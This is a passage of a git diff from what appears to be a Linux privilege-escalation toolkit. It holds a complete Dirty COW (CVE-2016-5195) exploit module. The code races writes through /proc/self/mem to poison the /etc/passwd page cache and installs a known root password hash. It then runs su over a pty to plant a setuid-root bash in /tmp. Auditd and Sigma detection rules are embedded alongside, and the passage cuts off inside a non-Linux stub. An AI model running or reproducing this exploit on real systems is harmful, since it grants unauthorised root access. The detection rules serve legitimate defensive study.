||||
next:
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||
|
||||
struct dcow_args {
|
||||
void *map; /* mmap'd /etc/passwd */
|
||||
off_t offset; /* offset within the mapping to overwrite */
|
||||
const char *payload;
|
||||
size_t payload_len;
|
||||
int proc_self_mem_fd;
|
||||
};
|
||||
|
||||
static _Atomic int g_dcow_running;
|
||||
|
||||
static void *dcow_writer_thread(void *arg)
|
||||
{
|
||||
struct dcow_args *a = (struct dcow_args *)arg;
|
||||
while (atomic_load(&g_dcow_running)) {
|
||||
if (lseek(a->proc_self_mem_fd,
|
||||
(off_t)((uintptr_t)a->map + a->offset), SEEK_SET) == (off_t)-1) {
|
||||
continue;
|
||||
}
|
||||
(void)write(a->proc_self_mem_fd, a->payload, a->payload_len);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *dcow_madvise_thread(void *arg)
|
||||
{
|
||||
struct dcow_args *a = (struct dcow_args *)arg;
|
||||
while (atomic_load(&g_dcow_running)) {
|
||||
madvise(a->map, 4096, MADV_DONTNEED);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns 0 on success — payload was observed in /etc/passwd's page
|
||||
* cache. Returns -1 on failure / timeout. */
|
||||
static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_len)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return -1;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return -1; }
|
||||
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
if (map == MAP_FAILED) { close(fd); return -1; }
|
||||
close(fd);
|
||||
|
||||
int mem_fd = open("/proc/self/mem", O_RDWR);
|
||||
if (mem_fd < 0) { munmap(map, st.st_size); return -1; }
|
||||
|
||||
struct dcow_args args = {
|
||||
.map = map,
|
||||
.offset = uid_off,
|
||||
.payload = payload,
|
||||
.payload_len = payload_len,
|
||||
.proc_self_mem_fd = mem_fd,
|
||||
};
|
||||
|
||||
atomic_store(&g_dcow_running, 1);
|
||||
pthread_t w_thr, m_thr;
|
||||
pthread_create(&w_thr, NULL, dcow_writer_thread, &args);
|
||||
pthread_create(&m_thr, NULL, dcow_madvise_thread, &args);
|
||||
|
||||
/* Race for up to ~3 seconds. On vulnerable kernels this usually
|
||||
* wins in milliseconds. */
|
||||
int success = -1;
|
||||
for (int i = 0; i < 300 && success < 0; i++) {
|
||||
usleep(10000); /* 10ms */
|
||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||
int rfd = open("/etc/passwd", O_RDONLY);
|
||||
if (rfd >= 0) {
|
||||
char readback[16];
|
||||
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||
}
|
||||
close(rfd);
|
||||
}
|
||||
}
|
||||
atomic_store(&g_dcow_running, 0);
|
||||
pthread_join(w_thr, NULL);
|
||||
pthread_join(m_thr, NULL);
|
||||
|
||||
close(mem_fd);
|
||||
munmap(map, st.st_size);
|
||||
return success;
|
||||
}
|
||||
|
||||
static void revert_passwd_page_cache(void)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
}
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) {
|
||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
||||
close(dc);
|
||||
}
|
||||
}
|
||||
|
||||
/* ---- iamroot interface ---- */
|
||||
|
||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
size_t uid_len;
|
||||
char orig_uid[16] = {0};
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
||||
}
|
||||
|
||||
char replacement[16];
|
||||
memset(replacement, '0', uid_len);
|
||||
replacement[uid_len] = 0;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
|
||||
orig_uid, replacement);
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
fflush(NULL);
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
/* ---- Embedded detection rules ---- */
|
||||
|
||||
static const char dirty_cow_auditd[] =
|
||||
"# Dirty COW (CVE-2016-5195) — auditd detection rules\n"
|
||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
||||
|
||||
static const char dirty_cow_sigma[] =
|
||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||
" by non-root processes (the exploit's two-thread primitive). False\n"
|
||||
" positives: GDB, strace, some JIT debuggers. Correlate with a\n"
|
||||
" subsequent UID change on a previously-non-root process for high\n"
|
||||
" confidence.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" mem_open:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name: '/proc/self/mem'\n"
|
||||
" not_root: {auid|expression: '!= 0'}\n"
|
||||
" condition: mem_open and not_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
const struct iamroot_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||
.family = "dirty_cow",
|
||||
.kernel_range = "2.6.22 ≤ K, fixed mainline 4.9; many LTS backports (RHEL 7 / Ubuntu 14.04 / Ubuntu 16.04 era)",
|
||||
.detect = dirty_cow_detect,
|
||||
.exploit = dirty_cow_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; no easy runtime knob */
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_cow(void)
|
||||
{
|
||||
iamroot_register(&dirty_cow_module);
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module dirty_cow_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,539 @@
|
||||
/*
|
||||
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||
*
|
||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||
* madvise(MADV_DONTNEED) on the same mapping. The bug lets the write
|
||||
* land in the file's page cache when it should have triggered a
|
||||
* copy-on-write into anonymous memory.
|
||||
*
|
||||
* Discovered by Phil Oester (Oct 2016). Mainline fix
|
||||
* 19be0eaffa3a "mm: remove gup_flags FOLL_WRITE games from
|
||||
* __get_user_pages()" (Oct 19 2016).
|
||||
*
|
||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
||||
*
|
||||
* Coverage rationale: this is what "old systems" means. RHEL 6 (3.10),
|
||||
* RHEL 7 (3.10 early), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded
|
||||
* Linux distros, IoT devices — many still in production with kernels
|
||||
* predating the fix. The exploit is universal (POSIX threads, no
|
||||
* arch-specific bits).
|
||||
*
|
||||
* Affected: kernel 2.6.22 through 4.8.x without backport. Mainline
|
||||
* fixed at 4.9. Stable backports landed in:
|
||||
* 4.8.x : K >= 4.8.3
|
||||
* 4.7.x : K >= 4.7.10
|
||||
* 4.4.x : K >= 4.4.26 (LTS)
|
||||
* 3.18.x: K >= 3.18.43 (LTS)
|
||||
* 3.16.x: K >= 3.16.38
|
||||
* 3.12.x: K >= 3.12.66 (LTS)
|
||||
* 3.10.x: K >= 3.10.104 (LTS — what RHEL 7 ships)
|
||||
* 3.2.x : K >= 3.2.84
|
||||
*
|
||||
* Exploit shape: Phil Oester-style two-thread race.
|
||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
|
||||
* the COW page, but the bug makes it land in the original page cache
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
|
||||
* forcing re-fault
|
||||
* - One iteration wins → the page cache is poisoned
|
||||
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
|
||||
* a known crypt hash, authenticate as root over a pty with the matching
|
||||
* password, plant a root-owned proof + setuid bash, then revert the page
|
||||
* cache via the Dirty COW primitive itself (no root, no drop_caches).
|
||||
* Root is judged only by the out-of-band artifact.
|
||||
*
|
||||
* NB: the shipped version raced the CALLER's UID to "0000" and ran
|
||||
* `su self` (still needs the caller's password → never rooted anything),
|
||||
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
|
||||
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
|
||||
* running /etc/passwd). All three are fixed here; identical bug/fix to
|
||||
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
|
||||
* primitive itself needs a pre-4.8.3 kernel to land.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <stdatomic.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <pwd.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
|
||||
/* Stable-branch backport thresholds for Dirty COW. */
|
||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{2, 6, 999}, /* placeholder — 2.6.x always vulnerable */
|
||||
{3, 2, 84},
|
||||
{3, 10, 104}, /* RHEL 7 baseline */
|
||||
{3, 12, 66},
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
|
||||
static const struct kernel_range dirty_cow_range = {
|
||||
.patched_from = dirty_cow_patched_branches,
|
||||
.n_patched_from = sizeof(dirty_cow_patched_branches) /
|
||||
sizeof(dirty_cow_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
|
||||
* overwrite ROOT's password field with a known hash, su as root) --- */
|
||||
|
||||
/* Byte offset of the password field of `username` (just after "name:"). */
|
||||
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return false; }
|
||||
char *buf = malloc(st.st_size + 1);
|
||||
if (!buf) { close(fd); return false; }
|
||||
ssize_t r = read(fd, buf, st.st_size);
|
||||
close(fd);
|
||||
if (r != st.st_size) { free(buf); return false; }
|
||||
buf[st.st_size] = 0;
|
||||
|
||||
size_t ulen = strlen(username);
|
||||
char *p = buf;
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if ((p == buf || p[-1] == '\n') &&
|
||||
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
*field_off = (off_t)((p + ulen + 1) - buf);
|
||||
*sz = (size_t)st.st_size;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
#define DC_ROOT_PW "skeletonkey"
|
||||
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||
|
||||
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
|
||||
* password from the controlling terminal, not stdin). Success is judged
|
||||
* out-of-band by the caller, never from su's status. */
|
||||
static void dc_su_root_run(const char *cmd)
|
||||
{
|
||||
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||
if (mfd < 0) return;
|
||||
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||
const char *sn = ptsname(mfd);
|
||||
if (!sn) { close(mfd); return; }
|
||||
char slave[128];
|
||||
snprintf(slave, sizeof slave, "%s", sn);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { close(mfd); return; }
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
int sfd = open(slave, O_RDWR);
|
||||
if (sfd < 0) _exit(127);
|
||||
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||
if (sfd > 2) close(sfd);
|
||||
close(mfd);
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
/* Poll for the password prompt, send the password, then drain — with a
|
||||
* hard 20s cap so a misbehaving su can never hang (which would block the
|
||||
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
|
||||
* xenial where the fixed-delay write raced su's prompt setup. */
|
||||
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||
const char *pw = DC_ROOT_PW "\n";
|
||||
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||
while (waited < 20000) {
|
||||
int pr = poll(&pfd, 1, 200);
|
||||
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||
if (m <= 0) break; /* pty closed → su exited */
|
||||
if (!sent) {
|
||||
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
} else {
|
||||
waited += 200;
|
||||
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||
}
|
||||
}
|
||||
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||
|
||||
struct dcow_args {
|
||||
void *map; /* mmap'd /etc/passwd */
|
||||
off_t offset; /* offset within the mapping to overwrite */
|
||||
const char *payload;
|
||||
size_t payload_len;
|
||||
int proc_self_mem_fd;
|
||||
};
|
||||
|
||||
static _Atomic int g_dcow_running;
|
||||
|
||||
static void *dcow_writer_thread(void *arg)
|
||||
{
|
||||
struct dcow_args *a = (struct dcow_args *)arg;
|
||||
while (atomic_load(&g_dcow_running)) {
|
||||
if (lseek(a->proc_self_mem_fd,
|
||||
(off_t)((uintptr_t)a->map + a->offset), SEEK_SET) == (off_t)-1) {
|
||||
continue;
|
||||
}
|
||||
(void)write(a->proc_self_mem_fd, a->payload, a->payload_len);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void *dcow_madvise_thread(void *arg)
|
||||
{
|
||||
struct dcow_args *a = (struct dcow_args *)arg;
|
||||
while (atomic_load(&g_dcow_running)) {
|
||||
madvise(a->map, 4096, MADV_DONTNEED);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Returns 0 on success — payload was observed in /etc/passwd's page
|
||||
* cache. Returns -1 on failure / timeout. */
|
||||
static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_len)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return -1;
|
||||
struct stat st;
|
||||
if (fstat(fd, &st) < 0) { close(fd); return -1; }
|
||||
void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
if (map == MAP_FAILED) { close(fd); return -1; }
|
||||
close(fd);
|
||||
|
||||
int mem_fd = open("/proc/self/mem", O_RDWR);
|
||||
if (mem_fd < 0) { munmap(map, st.st_size); return -1; }
|
||||
|
||||
struct dcow_args args = {
|
||||
.map = map,
|
||||
.offset = uid_off,
|
||||
.payload = payload,
|
||||
.payload_len = payload_len,
|
||||
.proc_self_mem_fd = mem_fd,
|
||||
};
|
||||
|
||||
atomic_store(&g_dcow_running, 1);
|
||||
pthread_t w_thr, m_thr;
|
||||
pthread_create(&w_thr, NULL, dcow_writer_thread, &args);
|
||||
pthread_create(&m_thr, NULL, dcow_madvise_thread, &args);
|
||||
|
||||
/* Race for up to ~3 seconds. On vulnerable kernels this usually
|
||||
* wins in milliseconds. */
|
||||
int success = -1;
|
||||
for (int i = 0; i < 300 && success < 0; i++) {
|
||||
usleep(10000); /* 10ms */
|
||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||
int rfd = open("/etc/passwd", O_RDONLY);
|
||||
if (rfd >= 0) {
|
||||
char readback[512]; /* must hold the full payload (was [16] —
|
||||
* overflowed for payloads > 16 bytes). */
|
||||
if (payload_len <= sizeof readback &&
|
||||
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||
}
|
||||
close(rfd);
|
||||
}
|
||||
}
|
||||
atomic_store(&g_dcow_running, 0);
|
||||
pthread_join(w_thr, NULL);
|
||||
pthread_join(m_thr, NULL);
|
||||
|
||||
close(mem_fd);
|
||||
munmap(map, st.st_size);
|
||||
return success;
|
||||
}
|
||||
|
||||
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
|
||||
* the Dirty COW primitive itself — no root and no drop_caches (the old
|
||||
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
|
||||
* the running system's /etc/passwd corrupted). */
|
||||
static char dc_orig[512];
|
||||
static off_t dc_orig_off;
|
||||
static size_t dc_orig_len;
|
||||
static bool dc_wrote;
|
||||
|
||||
static void dc_revert(void)
|
||||
{
|
||||
if (dc_wrote && dc_orig_len)
|
||||
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
|
||||
}
|
||||
|
||||
/* ---- skeletonkey interface ---- */
|
||||
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||
v->release);
|
||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||
"/etc/passwd via /proc/self/mem\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Overwrite ROOT's password field with a known crypt hash, then
|
||||
* authenticate as root with the matching password. (The previous code
|
||||
* raced the CALLER's UID to "0000" and ran `su self`, which still
|
||||
* demands the caller's password — it never rooted anything, falsely
|
||||
* reported OK when su's exec transferred, and reverted with drop_caches
|
||||
* which needs root, corrupting the running /etc/passwd.) */
|
||||
off_t field_off;
|
||||
size_t pw_sz;
|
||||
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||
size_t newlen = strlen(newline);
|
||||
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
|
||||
"without extending it\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
dc_orig_off = field_off; dc_orig_len = newlen;
|
||||
|
||||
long tag = (long)getpid();
|
||||
char proof[128], rootbash[128], cmd[1024];
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
|
||||
unlink(proof); unlink(rootbash);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
|
||||
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
|
||||
if (dirty_cow_write(field_off, newline, newlen) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
|
||||
"(kernel likely patched)\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
dc_wrote = true;
|
||||
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||
proof, rootbash, rootbash, proof, rootbash);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
|
||||
dc_su_root_run(cmd);
|
||||
|
||||
/* Revert immediately — never leave a running system with a known root
|
||||
* password. Dirty COW never wrote disk, so this fully restores. */
|
||||
dc_revert();
|
||||
{ int ev = open("/etc/passwd", O_RDONLY);
|
||||
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||
|
||||
struct stat sb;
|
||||
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
|
||||
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
|
||||
"(page cache reverted). Primitive may be blocked, or su/PAM "
|
||||
"rejected the injected hash.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
|
||||
}
|
||||
dc_revert(); /* idempotent; no root / no drop_caches */
|
||||
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
|
||||
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
|
||||
* surface. Stub out cleanly so the module still registers and
|
||||
* `--list` / `--detect-rules` work on macOS/BSD dev boxes — and so
|
||||
* the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_cow: Linux-only module "
|
||||
